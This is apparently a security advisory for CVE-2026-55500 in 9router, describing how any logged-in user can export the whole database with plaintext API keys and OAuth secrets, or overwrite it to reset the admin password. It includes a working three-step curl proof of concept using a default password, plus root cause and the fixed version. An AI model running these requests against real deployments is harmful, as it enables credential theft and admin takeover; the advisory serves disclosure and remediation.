CVE-2026-55500: 9router Unprotected Database Export/Import Credential Theft
Any authenticated 9router user can dump the entire database in plaintext (all API keys, OAuth tokens, and OIDC secrets) or silently overwrite it with attacker-controlled data, including a new admin…
The problem
The /api/settings/database route in 9router performs full database export (GET) and full database import (POST) with no re-authentication check beyond a valid session JWT.
The exportDb() function returns every row from apiKeys, providerConnections, and settings, including plaintext API key values. The importDb() function runs a transaction that wipes all tables and replaces them with attacker-supplied JSON, which effectively resets the admin password hash to anything the attacker chooses.
Proof of concept
A working proof-of-concept for CVE-2026-55500 in 9router, with the exact payload below.
# Step 1: log in with the default password to get a JWT cookie
curl -s -c cookies.txt -X POST http://TARGET:20128/api/auth/login \
-H 'Content-Type: application/json' \
-d '{"password":"123456"}'
# Step 2: export the full database (plaintext API keys, OAuth tokens, OIDC secrets)
curl -s -b cookies.txt http://TARGET:20128/api/settings/database
# Step 3: import attacker-controlled database (overwrites all settings + password hash)
curl -s -b cookies.txt -X POST http://TARGET:20128/api/settings/database \
-H 'Content-Type: application/json' \
-d @attacker_db.jsonThe root cause is that dashboardGuard.js treats /api/settings/database as ALWAYS_PROTECTED, meaning it checks for a JWT or CLI token, but does not require password re-confirmation before allowing destructive operations.
On export, db.all('SELECT * FROM apiKeys') returns the raw key column with no masking. On import, the handler calls importDb(payload) directly from the request body without validating or sanitizing any field, running a wipe-then-insert transaction with fully attacker-controlled data.
This is CWE-200 (information exposure) and CWE-862 (missing authorization) combined: a low-privilege session token is sufficient for complete database takeover.
The fix
Upgrade to 9router 0.4.72 or later. The fix requires current-password re-verification before the export or import handler executes, removes plaintext key values from the export payload (returning masked values instead), and adds a confirmation step plus audit logging for all import operations.
Reported by decolua.
Related research
- critical · 109router: Unauthenticated CRUD on Provider API and Full API Key Leak
- high · 7.3CVE-2026-55501CVE-2026-55501: 9router Login Rate-Limit Bypass via X-Forwarded-For Spoofing
- criticalBudibase REST Datasource Unauthenticated Credential Theft via Cross-Origin Query Path
- high · 7.5Budibase Unauthenticated Tenant User Information Disclosure